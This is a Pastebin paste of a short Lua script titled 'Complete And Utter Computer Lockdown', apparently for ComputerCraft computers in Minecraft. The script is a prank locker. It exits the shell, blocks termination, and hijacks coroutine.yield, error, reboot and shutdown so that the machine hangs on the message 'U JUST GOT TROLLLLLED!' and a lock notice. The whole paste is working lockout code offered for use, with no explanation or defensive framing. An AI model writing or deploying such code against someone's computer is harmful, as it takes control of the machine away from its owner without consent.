Advertisement
MudkipTheEpic

Complete And Utter Computer Lockdown

Feb 16th, 2013
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.65 KB | None | 0 0
  1. shell.exit()
  2. local oldPrint=print
  3. local oWrite=term.write
  4. local oTerm={}
  5. local oldQ=os.queueEvent
  6. for k,v in pairs(term) do oTerm[k]=v end
  7. function print(...) local n=... if n=="Goodbye" then return nil end return oldPrint(...) end
  8. _G.term=term
  9. os.pullEvent=os.pullEventRaw
  10. local msg="This computer has been locked down by Mudkip's Locker."
  11. oTerm.clear()
  12. oTerm.setCursorPos(1,5)
  13. oWrite("U JUST GOT TROLLLLLED!")
  14. function coroutine.yield()
  15. oTerm.setCursorBlink(false)
  16. oTerm.setCursorPos(1,19)
  17. oWrite(msg)
  18. oTerm.setCursorPos(1,20)
  19. oldQ("")
  20. return coroutine.yield()
  21. end
  22. error=coroutine.yield
  23. os.reboot=coroutine.yield
  24. os.shutdown=coroutine.yield
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement